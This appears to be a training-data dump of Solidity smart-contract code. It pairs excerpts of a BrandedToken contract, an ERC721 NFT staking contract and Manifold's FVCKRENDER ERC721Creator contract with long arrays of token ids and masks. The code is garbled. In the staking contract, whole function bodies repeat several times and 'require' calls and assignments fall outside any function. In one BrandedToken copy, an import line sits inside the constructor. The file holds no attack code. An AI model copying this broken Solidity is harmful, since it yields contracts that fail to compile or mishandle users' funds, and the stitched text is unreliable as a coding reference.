pragma solidity ^0.4.17; // Copyright 2017 DHashToken Ltd. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // ---------------------------------------------------------------------------- // Utility chain: BrandedToken // // http://www.simpletoken.org/ // // ---------------------------------------------------------------------------- import "./SafeMath.sol"; // utility chain contracts import "./EIP20Token.sol"; import "./UtilityTokenAbstract.sol"; /// @dev Branded Token is an EIP20 token minted by staking Simple Token /// on Ethereum mainnet. Branded tokens are designed to be used /// within a (decentralised) application and support: /// - smart contract controlled password reset for users who don't /// yet (hard-spoon FTW) manage their own private keys (+v0.9.2) /// - soft-exit for a user to redeem their equivalent part of the /// Simple Token stake on Ethereum mainnet /// - hard-exit for all users if the utility chain halts to reclaim /// their equivalent part of the Simple Token stake /// on Ethereum (before v1.0) contract BrandedToken is EIP20Token, UtilityTokenAbstract { using SafeMath for uint256; /* * Public functions */ function BrandedToken( address _DHashTokenProtocol, bytes32 _uuid, string _symbol, string _name, uint8 _decimals) EIP20Token(_symbol, _name, _decimals) UtilityTokenAbstract(_DHashTokenProtocol, _uuid) public { } function claim( address _beneficiary) public returns (bool /* success */) { uint256 amount = claimInternal(_beneficiary); return claimEIP20(_beneficiary, amount); } function mint( address _beneficiary, uint256 _amount) public onlyProtocol returns (bool /* success */) { mintEIP20(_amount); return mintInternal(_beneficiary, _amount); } function burn( address _burner, uint256 _amount) public onlyProtocol payable returns (bool /* success */) { // force non-payable, as only ST' handles in base tokens require(msg.value == 0); burnEIP20(_amount); return burnInternal(_burner, _amount); } }
@dev Branded Token is an EIP20 token minted by staking Simple Token on Ethereum mainnet. Branded tokens are designed to be used within a (decentralised) application and support: - smart contract controlled password reset for users who don't yet (hard-spoon FTW) manage their own private keys (+v0.9.2) - soft-exit for a user to redeem their equivalent part of the Simple Token stake on Ethereum mainnet - hard-exit for all users if the utility chain halts to reclaim their equivalent part of the Simple Token stake on Ethereum (before v1.0)
contract BrandedToken is EIP20Token, UtilityTokenAbstract { using SafeMath for uint256; function BrandedToken( address _DHashTokenProtocol, bytes32 _uuid, string _symbol, string _name, uint8 _decimals) EIP20Token(_symbol, _name, _decimals) UtilityTokenAbstract(_DHashTokenProtocol, _uuid) public import "./EIP20Token.sol"; { } function claim( address _beneficiary) public returns (bool /* success */) { uint256 amount = claimInternal(_beneficiary); return claimEIP20(_beneficiary, amount); } function mint( address _beneficiary, uint256 _amount) public onlyProtocol returns (bool /* success */) { mintEIP20(_amount); return mintInternal(_beneficiary, _amount); } function burn( address _burner, uint256 _amount) public onlyProtocol payable returns (bool /* success */) { require(msg.value == 0); burnEIP20(_amount); return burnInternal(_burner, _amount); } }
12,622,613
[ 1, 38, 2450, 785, 3155, 353, 392, 512, 2579, 3462, 1147, 312, 474, 329, 635, 384, 6159, 4477, 3155, 4202, 603, 512, 18664, 379, 2774, 2758, 18, 605, 2450, 785, 2430, 854, 26584, 358, 506, 1399, 4202, 3470, 279, 261, 4924, 12839, 5918, 13, 2521, 471, 2865, 30, 3639, 300, 13706, 6835, 25934, 2201, 2715, 364, 3677, 10354, 2727, 1404, 1850, 4671, 261, 20379, 17, 87, 1631, 265, 478, 18869, 13, 10680, 3675, 4953, 3238, 1311, 261, 15, 90, 20, 18, 29, 18, 22, 13, 3639, 300, 8971, 17, 8593, 364, 279, 729, 358, 283, 24903, 3675, 7680, 1087, 434, 326, 1850, 4477, 3155, 384, 911, 603, 512, 18664, 379, 2774, 2758, 3639, 300, 7877, 17, 8593, 364, 777, 3677, 309, 326, 12788, 2687, 18389, 87, 358, 283, 14784, 1850, 3675, 7680, 1087, 434, 326, 4477, 3155, 384, 911, 1850, 603, 512, 18664, 379, 261, 5771, 331, 21, 18, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 605, 2450, 785, 1345, 353, 512, 2579, 3462, 1345, 16, 13134, 1345, 7469, 288, 203, 202, 9940, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 202, 915, 605, 2450, 785, 1345, 12, 203, 202, 202, 2867, 389, 40, 2310, 1345, 5752, 16, 203, 202, 202, 3890, 1578, 389, 7080, 16, 203, 202, 202, 1080, 389, 7175, 16, 203, 202, 202, 1080, 389, 529, 16, 203, 202, 202, 11890, 28, 389, 31734, 13, 203, 202, 202, 41, 2579, 3462, 1345, 24899, 7175, 16, 389, 529, 16, 389, 31734, 13, 203, 202, 202, 6497, 1345, 7469, 24899, 40, 2310, 1345, 5752, 16, 389, 7080, 13, 203, 202, 202, 482, 203, 203, 5666, 25165, 41, 2579, 3462, 1345, 18, 18281, 14432, 203, 202, 95, 203, 203, 202, 97, 203, 203, 202, 915, 7516, 12, 203, 202, 202, 2867, 389, 70, 4009, 74, 14463, 814, 13, 203, 202, 202, 482, 203, 202, 202, 6154, 261, 6430, 1748, 2216, 1195, 13, 203, 202, 95, 203, 202, 202, 11890, 5034, 3844, 273, 7516, 3061, 24899, 70, 4009, 74, 14463, 814, 1769, 203, 203, 202, 202, 2463, 7516, 41, 2579, 3462, 24899, 70, 4009, 74, 14463, 814, 16, 3844, 1769, 203, 202, 97, 203, 203, 202, 915, 312, 474, 12, 203, 202, 202, 2867, 389, 70, 4009, 74, 14463, 814, 16, 203, 202, 202, 11890, 5034, 389, 8949, 13, 203, 202, 202, 482, 203, 202, 202, 3700, 5752, 203, 202, 202, 6154, 261, 6430, 1748, 2216, 1195, 13, 203, 202, 95, 203, 202, 202, 81, 474, 41, 2579, 3462, 24899, 2 ]
./full_match/1/0x843F38142Df6C485dbc60f1DDD05599E3A7F2b4C/sources/contracts/Reward.sol
Set the provided address as the initial owner of the smart contract
constructor(address ownerOfTheSmartContract, address _usdcTokenAddress){ _transferOwnership(ownerOfTheSmartContract); usdtToken = IERC20(_usdcTokenAddress); }
9,723,640
[ 1, 694, 326, 2112, 1758, 487, 326, 2172, 3410, 434, 326, 13706, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 12, 2867, 3410, 951, 1986, 23824, 8924, 16, 1758, 225, 389, 407, 7201, 1345, 1887, 15329, 203, 3639, 389, 13866, 5460, 12565, 12, 8443, 951, 1986, 23824, 8924, 1769, 203, 3639, 584, 7510, 1345, 273, 467, 654, 39, 3462, 24899, 407, 7201, 1345, 1887, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0xDf323EF43eeCa4f09e28E2717b7134C90FD2c14B/sources/KushoStaking.sol
Interfaces for ERC20 and ERC721 Constructor function to set the rewards token and the NFT collection addresses
contract ERC721Staking is ReentrancyGuard { using SafeERC20 for IERC20; IERC20 public immutable rewardsToken; IERC721 public immutable nftCollection; pragma solidity ^0.8.4; constructor(IERC721 _nftCollection, IERC20 _rewardsToken) { nftCollection = _nftCollection; rewardsToken = _rewardsToken; } struct StakedToken { address staker; uint256 tokenId; } struct Staker { uint256 amountStaked; StakedToken[] stakedTokens; uint256 timeOfLastUpdate; uint256 unclaimedRewards; } uint256 private rewardsPerHour = 208333333330000000; mapping(address => Staker) public stakers; mapping(uint256 => address) public stakerAddress; function stake(uint256 _tokenId) external nonReentrant { if (stakers[msg.sender].amountStaked > 0) { uint256 rewards = calculateRewards(msg.sender); stakers[msg.sender].unclaimedRewards += rewards; } nftCollection.ownerOf(_tokenId) == msg.sender, "You don't own this token!" ); } function stake(uint256 _tokenId) external nonReentrant { if (stakers[msg.sender].amountStaked > 0) { uint256 rewards = calculateRewards(msg.sender); stakers[msg.sender].unclaimedRewards += rewards; } nftCollection.ownerOf(_tokenId) == msg.sender, "You don't own this token!" ); } require( nftCollection.transferFrom(msg.sender, address(this), _tokenId); StakedToken memory stakedToken = StakedToken(msg.sender, _tokenId); stakers[msg.sender].stakedTokens.push(stakedToken); stakers[msg.sender].amountStaked++; stakerAddress[_tokenId] = msg.sender; stakers[msg.sender].timeOfLastUpdate = block.timestamp; function unstake(uint256 _tokenId) external nonReentrant { require( stakers[msg.sender].amountStaked > 0, "You have no tokens staked" ); require(stakerAddress[_tokenId] == msg.sender, "You don't own this token!"); uint256 rewards = calculateRewards(msg.sender); stakers[msg.sender].unclaimedRewards += rewards; uint256 index = 0; for (uint256 i = 0; i < stakers[msg.sender].stakedTokens.length; i++) { if (stakers[msg.sender].stakedTokens[i].tokenId == _tokenId) { index = i; break; } } } function unstake(uint256 _tokenId) external nonReentrant { require( stakers[msg.sender].amountStaked > 0, "You have no tokens staked" ); require(stakerAddress[_tokenId] == msg.sender, "You don't own this token!"); uint256 rewards = calculateRewards(msg.sender); stakers[msg.sender].unclaimedRewards += rewards; uint256 index = 0; for (uint256 i = 0; i < stakers[msg.sender].stakedTokens.length; i++) { if (stakers[msg.sender].stakedTokens[i].tokenId == _tokenId) { index = i; break; } } } function unstake(uint256 _tokenId) external nonReentrant { require( stakers[msg.sender].amountStaked > 0, "You have no tokens staked" ); require(stakerAddress[_tokenId] == msg.sender, "You don't own this token!"); uint256 rewards = calculateRewards(msg.sender); stakers[msg.sender].unclaimedRewards += rewards; uint256 index = 0; for (uint256 i = 0; i < stakers[msg.sender].stakedTokens.length; i++) { if (stakers[msg.sender].stakedTokens[i].tokenId == _tokenId) { index = i; break; } } } stakers[msg.sender].stakedTokens[index].staker = address(0); stakers[msg.sender].amountStaked--; stakerAddress[_tokenId] = address(0); nftCollection.transferFrom(address(this), msg.sender, _tokenId); stakers[msg.sender].timeOfLastUpdate = block.timestamp; function claimRewards() external { uint256 rewards = calculateRewards(msg.sender) + stakers[msg.sender].unclaimedRewards; require(rewards > 0, "You have no rewards to claim"); stakers[msg.sender].timeOfLastUpdate = block.timestamp; stakers[msg.sender].unclaimedRewards = 0; rewardsToken.safeTransfer(msg.sender, rewards); } function availableRewards(address _staker) public view returns (uint256) { uint256 rewards = calculateRewards(_staker) + stakers[_staker].unclaimedRewards; return rewards; } function getStakedTokens(address _user) public view returns (StakedToken[] memory) { if (stakers[_user].amountStaked > 0) { StakedToken[] memory _stakedTokens = new StakedToken[](stakers[_user].amountStaked); uint256 _index = 0; for (uint256 j = 0; j < stakers[_user].stakedTokens.length; j++) { if (stakers[_user].stakedTokens[j].staker != (address(0))) { _stakedTokens[_index] = stakers[_user].stakedTokens[j]; _index++; } } return _stakedTokens; } else { return new StakedToken[](0); } } function getStakedTokens(address _user) public view returns (StakedToken[] memory) { if (stakers[_user].amountStaked > 0) { StakedToken[] memory _stakedTokens = new StakedToken[](stakers[_user].amountStaked); uint256 _index = 0; for (uint256 j = 0; j < stakers[_user].stakedTokens.length; j++) { if (stakers[_user].stakedTokens[j].staker != (address(0))) { _stakedTokens[_index] = stakers[_user].stakedTokens[j]; _index++; } } return _stakedTokens; } else { return new StakedToken[](0); } } function getStakedTokens(address _user) public view returns (StakedToken[] memory) { if (stakers[_user].amountStaked > 0) { StakedToken[] memory _stakedTokens = new StakedToken[](stakers[_user].amountStaked); uint256 _index = 0; for (uint256 j = 0; j < stakers[_user].stakedTokens.length; j++) { if (stakers[_user].stakedTokens[j].staker != (address(0))) { _stakedTokens[_index] = stakers[_user].stakedTokens[j]; _index++; } } return _stakedTokens; } else { return new StakedToken[](0); } } function getStakedTokens(address _user) public view returns (StakedToken[] memory) { if (stakers[_user].amountStaked > 0) { StakedToken[] memory _stakedTokens = new StakedToken[](stakers[_user].amountStaked); uint256 _index = 0; for (uint256 j = 0; j < stakers[_user].stakedTokens.length; j++) { if (stakers[_user].stakedTokens[j].staker != (address(0))) { _stakedTokens[_index] = stakers[_user].stakedTokens[j]; _index++; } } return _stakedTokens; } else { return new StakedToken[](0); } } function getStakedTokens(address _user) public view returns (StakedToken[] memory) { if (stakers[_user].amountStaked > 0) { StakedToken[] memory _stakedTokens = new StakedToken[](stakers[_user].amountStaked); uint256 _index = 0; for (uint256 j = 0; j < stakers[_user].stakedTokens.length; j++) { if (stakers[_user].stakedTokens[j].staker != (address(0))) { _stakedTokens[_index] = stakers[_user].stakedTokens[j]; _index++; } } return _stakedTokens; } else { return new StakedToken[](0); } } function calculateRewards(address _staker) internal view returns (uint256 _rewards) { return ((( ((block.timestamp - stakers[_staker].timeOfLastUpdate) * stakers[_staker].amountStaked) ) * rewardsPerHour) / 3600); } }
9,533,813
[ 1, 10273, 364, 4232, 39, 3462, 471, 4232, 39, 27, 5340, 11417, 445, 358, 444, 326, 283, 6397, 1147, 471, 326, 423, 4464, 1849, 6138, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4232, 39, 27, 5340, 510, 6159, 353, 868, 8230, 12514, 16709, 288, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 565, 467, 654, 39, 3462, 1071, 11732, 283, 6397, 1345, 31, 203, 565, 467, 654, 39, 27, 5340, 1071, 11732, 290, 1222, 2532, 31, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 24, 31, 203, 565, 3885, 12, 45, 654, 39, 27, 5340, 389, 82, 1222, 2532, 16, 467, 654, 39, 3462, 389, 266, 6397, 1345, 13, 288, 203, 3639, 290, 1222, 2532, 273, 389, 82, 1222, 2532, 31, 203, 3639, 283, 6397, 1345, 273, 389, 266, 6397, 1345, 31, 203, 565, 289, 203, 203, 565, 1958, 934, 9477, 1345, 288, 203, 3639, 1758, 384, 6388, 31, 203, 3639, 2254, 5034, 1147, 548, 31, 203, 565, 289, 203, 203, 565, 1958, 934, 6388, 288, 203, 3639, 2254, 5034, 3844, 510, 9477, 31, 203, 203, 3639, 934, 9477, 1345, 8526, 384, 9477, 5157, 31, 203, 203, 3639, 2254, 5034, 813, 951, 3024, 1891, 31, 203, 203, 3639, 2254, 5034, 6301, 80, 4581, 329, 17631, 14727, 31, 203, 565, 289, 203, 203, 203, 203, 203, 565, 2254, 5034, 3238, 283, 6397, 2173, 13433, 273, 4200, 28, 18094, 18094, 17877, 31, 203, 565, 2874, 12, 2867, 516, 934, 6388, 13, 1071, 384, 581, 414, 31, 203, 565, 2874, 12, 11890, 5034, 516, 1758, 13, 1071, 384, 6388, 1887, 31, 203, 565, 445, 384, 911, 12, 11890, 5034, 389, 2316, 548, 13, 3903, 1661, 426, 8230, 970, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: FVCKRENDER /// @author: manifold.xyz //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // ________ ___ ___ ________ ___ __ ________ _______ ________ ________ _______ ________ // // |\ _____|\ \ / /|\ ____\|\ \|\ \ |\ __ \|\ ___ \ |\ ___ \|\ ___ \|\ ___ \ |\ __ \ // // \ \ \__/\ \ \ / / \ \ \___|\ \ \/ /|\ \ \|\ \ \ __/|\ \ \\ \ \ \ \_|\ \ \ __/|\ \ \|\ \ // // \ \ __\\ \ \/ / / \ \ \ \ \ ___ \ \ _ _\ \ \_|/_\ \ \\ \ \ \ \ \\ \ \ \_|/_\ \ _ _\ // // \ \ \_| \ \ / / \ \ \____\ \ \\ \ \ \ \\ \\ \ \_|\ \ \ \\ \ \ \ \_\\ \ \ \_|\ \ \ \\ \| // // \ \__\ \ \__/ / \ \_______\ \__\\ \__\ \__\\ _\\ \_______\ \__\\ \__\ \_______\ \_______\ \__\\ _\ // // \|__| \|__|/ \|_______|\|__| \|__|\|__|\|__|\|_______|\|__| \|__|\|_______|\|_______|\|__|\|__| // // // // _,..,,,_ // // '``````^~"-,_`"-,_ // // .-~c~-. `~:. ^-. // // `~~~-.c ; `:. `-, _.-~~^^~:. // // `. ; _,--~~~~-._ `:. ~. .~ `. // // .` ;' .:` `: `:. ` _.:-,. `. // // .' .: :' _.-~^~-. `. `..' .: `. ' // // : .' _:' .-' `. :. .: .'`. : ; // // : `-' .:' `. `^~~^` .:. `. ; ; // // `-.__,-~ ~-. ,' ': '.__.` :' // // ~--..--' ':. .:' // // ':..___.:' // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// import "./ERC721Creator.sol"; contract FVCK is ERC721Creator { constructor() ERC721Creator("FVCKRENDER", "FVCK") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "./access/AdminControl.sol"; import "./core/ERC721CreatorCore.sol"; /** * @dev ERC721Creator implementation */ contract ERC721Creator is AdminControl, ERC721, ERC721CreatorCore { constructor (string memory _name, string memory _symbol) ERC721(_name, _symbol) { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721CreatorCore, AdminControl) returns (bool) { return ERC721CreatorCore.supportsInterface(interfaceId) || ERC721.supportsInterface(interfaceId) || AdminControl.supportsInterface(interfaceId); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { _approveTransfer(from, to, tokenId); } /** * @dev See {ICreatorCore-registerExtension}. */ function registerExtension(address extension, string calldata baseURI) external override adminRequired nonBlacklistRequired(extension) { _registerExtension(extension, baseURI, false); } /** * @dev See {ICreatorCore-registerExtension}. */ function registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) external override adminRequired nonBlacklistRequired(extension) { _registerExtension(extension, baseURI, baseURIIdentical); } /** * @dev See {ICreatorCore-unregisterExtension}. */ function unregisterExtension(address extension) external override adminRequired { _unregisterExtension(extension); } /** * @dev See {ICreatorCore-blacklistExtension}. */ function blacklistExtension(address extension) external override adminRequired { _blacklistExtension(extension); } /** * @dev See {ICreatorCore-setBaseTokenURIExtension}. */ function setBaseTokenURIExtension(string calldata uri) external override extensionRequired { _setBaseTokenURIExtension(uri, false); } /** * @dev See {ICreatorCore-setBaseTokenURIExtension}. */ function setBaseTokenURIExtension(string calldata uri, bool identical) external override extensionRequired { _setBaseTokenURIExtension(uri, identical); } /** * @dev See {ICreatorCore-setTokenURIPrefixExtension}. */ function setTokenURIPrefixExtension(string calldata prefix) external override extensionRequired { _setTokenURIPrefixExtension(prefix); } /** * @dev See {ICreatorCore-setTokenURIExtension}. */ function setTokenURIExtension(uint256 tokenId, string calldata uri) external override extensionRequired { _setTokenURIExtension(tokenId, uri); } /** * @dev See {ICreatorCore-setTokenURIExtension}. */ function setTokenURIExtension(uint256[] memory tokenIds, string[] calldata uris) external override extensionRequired { require(tokenIds.length == uris.length, "ERC721Creator: Invalid input"); for (uint i = 0; i < tokenIds.length; i++) { _setTokenURIExtension(tokenIds[i], uris[i]); } } /** * @dev See {ICreatorCore-setBaseTokenURI}. */ function setBaseTokenURI(string calldata uri) external override adminRequired { _setBaseTokenURI(uri); } /** * @dev See {ICreatorCore-setTokenURIPrefix}. */ function setTokenURIPrefix(string calldata prefix) external override adminRequired { _setTokenURIPrefix(prefix); } /** * @dev See {ICreatorCore-setTokenURI}. */ function setTokenURI(uint256 tokenId, string calldata uri) external override adminRequired { _setTokenURI(tokenId, uri); } /** * @dev See {ICreatorCore-setTokenURI}. */ function setTokenURI(uint256[] memory tokenIds, string[] calldata uris) external override adminRequired { require(tokenIds.length == uris.length, "ERC721Creator: Invalid input"); for (uint i = 0; i < tokenIds.length; i++) { _setTokenURI(tokenIds[i], uris[i]); } } /** * @dev See {ICreatorCore-setMintPermissions}. */ function setMintPermissions(address extension, address permissions) external override adminRequired { _setMintPermissions(extension, permissions); } /** * @dev See {IERC721CreatorCore-mintBase}. */ function mintBase(address to) public virtual override nonReentrant adminRequired returns(uint256) { return _mintBase(to, ""); } /** * @dev See {IERC721CreatorCore-mintBase}. */ function mintBase(address to, string calldata uri) public virtual override nonReentrant adminRequired returns(uint256) { return _mintBase(to, uri); } /** * @dev See {IERC721CreatorCore-mintBaseBatch}. */ function mintBaseBatch(address to, uint16 count) public virtual override nonReentrant adminRequired returns(uint256[] memory tokenIds) { tokenIds = new uint256[](count); for (uint16 i = 0; i < count; i++) { tokenIds[i] = _mintBase(to, ""); } return tokenIds; } /** * @dev See {IERC721CreatorCore-mintBaseBatch}. */ function mintBaseBatch(address to, string[] calldata uris) public virtual override nonReentrant adminRequired returns(uint256[] memory tokenIds) { tokenIds = new uint256[](uris.length); for (uint i = 0; i < uris.length; i++) { tokenIds[i] = _mintBase(to, uris[i]); } return tokenIds; } /** * @dev Mint token with no extension */ function _mintBase(address to, string memory uri) internal virtual returns(uint256 tokenId) { _tokenCount++; tokenId = _tokenCount; // Track the extension that minted the token _tokensExtension[tokenId] = address(this); _safeMint(to, tokenId); if (bytes(uri).length > 0) { _tokenURIs[tokenId] = uri; } // Call post mint _postMintBase(to, tokenId); return tokenId; } /** * @dev See {IERC721CreatorCore-mintExtension}. */ function mintExtension(address to) public virtual override nonReentrant extensionRequired returns(uint256) { return _mintExtension(to, ""); } /** * @dev See {IERC721CreatorCore-mintExtension}. */ function mintExtension(address to, string calldata uri) public virtual override nonReentrant extensionRequired returns(uint256) { return _mintExtension(to, uri); } /** * @dev See {IERC721CreatorCore-mintExtensionBatch}. */ function mintExtensionBatch(address to, uint16 count) public virtual override nonReentrant extensionRequired returns(uint256[] memory tokenIds) { tokenIds = new uint256[](count); for (uint16 i = 0; i < count; i++) { tokenIds[i] = _mintExtension(to, ""); } return tokenIds; } /** * @dev See {IERC721CreatorCore-mintExtensionBatch}. */ function mintExtensionBatch(address to, string[] calldata uris) public virtual override nonReentrant extensionRequired returns(uint256[] memory tokenIds) { tokenIds = new uint256[](uris.length); for (uint i = 0; i < uris.length; i++) { tokenIds[i] = _mintExtension(to, uris[i]); } } /** * @dev Mint token via extension */ function _mintExtension(address to, string memory uri) internal virtual returns(uint256 tokenId) { _tokenCount++; tokenId = _tokenCount; _checkMintPermissions(to, tokenId); // Track the extension that minted the token _tokensExtension[tokenId] = msg.sender; _safeMint(to, tokenId); if (bytes(uri).length > 0) { _tokenURIs[tokenId] = uri; } // Call post mint _postMintExtension(to, tokenId); return tokenId; } /** * @dev See {IERC721CreatorCore-tokenExtension}. */ function tokenExtension(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "Nonexistent token"); return _tokenExtension(tokenId); } /** * @dev See {IERC721CreatorCore-burn}. */ function burn(uint256 tokenId) public virtual override nonReentrant { require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721Creator: caller is not owner nor approved"); address owner = ownerOf(tokenId); _burn(tokenId); _postBurn(owner, tokenId); } /** * @dev See {ICreatorCore-setRoyalties}. */ function setRoyalties(address payable[] calldata receivers, uint256[] calldata basisPoints) external override adminRequired { _setRoyaltiesExtension(address(this), receivers, basisPoints); } /** * @dev See {ICreatorCore-setRoyalties}. */ function setRoyalties(uint256 tokenId, address payable[] calldata receivers, uint256[] calldata basisPoints) external override adminRequired { require(_exists(tokenId), "Nonexistent token"); _setRoyalties(tokenId, receivers, basisPoints); } /** * @dev See {ICreatorCore-setRoyaltiesExtension}. */ function setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) external override adminRequired { _setRoyaltiesExtension(extension, receivers, basisPoints); } /** * @dev {See ICreatorCore-getRoyalties}. */ function getRoyalties(uint256 tokenId) external view virtual override returns (address payable[] memory, uint256[] memory) { require(_exists(tokenId), "Nonexistent token"); return _getRoyalties(tokenId); } /** * @dev {See ICreatorCore-getFees}. */ function getFees(uint256 tokenId) external view virtual override returns (address payable[] memory, uint256[] memory) { require(_exists(tokenId), "Nonexistent token"); return _getRoyalties(tokenId); } /** * @dev {See ICreatorCore-getFeeRecipients}. */ function getFeeRecipients(uint256 tokenId) external view virtual override returns (address payable[] memory) { require(_exists(tokenId), "Nonexistent token"); return _getRoyaltyReceivers(tokenId); } /** * @dev {See ICreatorCore-getFeeBps}. */ function getFeeBps(uint256 tokenId) external view virtual override returns (uint[] memory) { require(_exists(tokenId), "Nonexistent token"); return _getRoyaltyBPS(tokenId); } /** * @dev {See ICreatorCore-royaltyInfo}. */ function royaltyInfo(uint256 tokenId, uint256 value, bytes calldata) external view virtual override returns (address, uint256, bytes memory) { require(_exists(tokenId), "Nonexistent token"); return _getRoyaltyInfo(tokenId, value); } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "Nonexistent token"); return _tokenURI(tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import 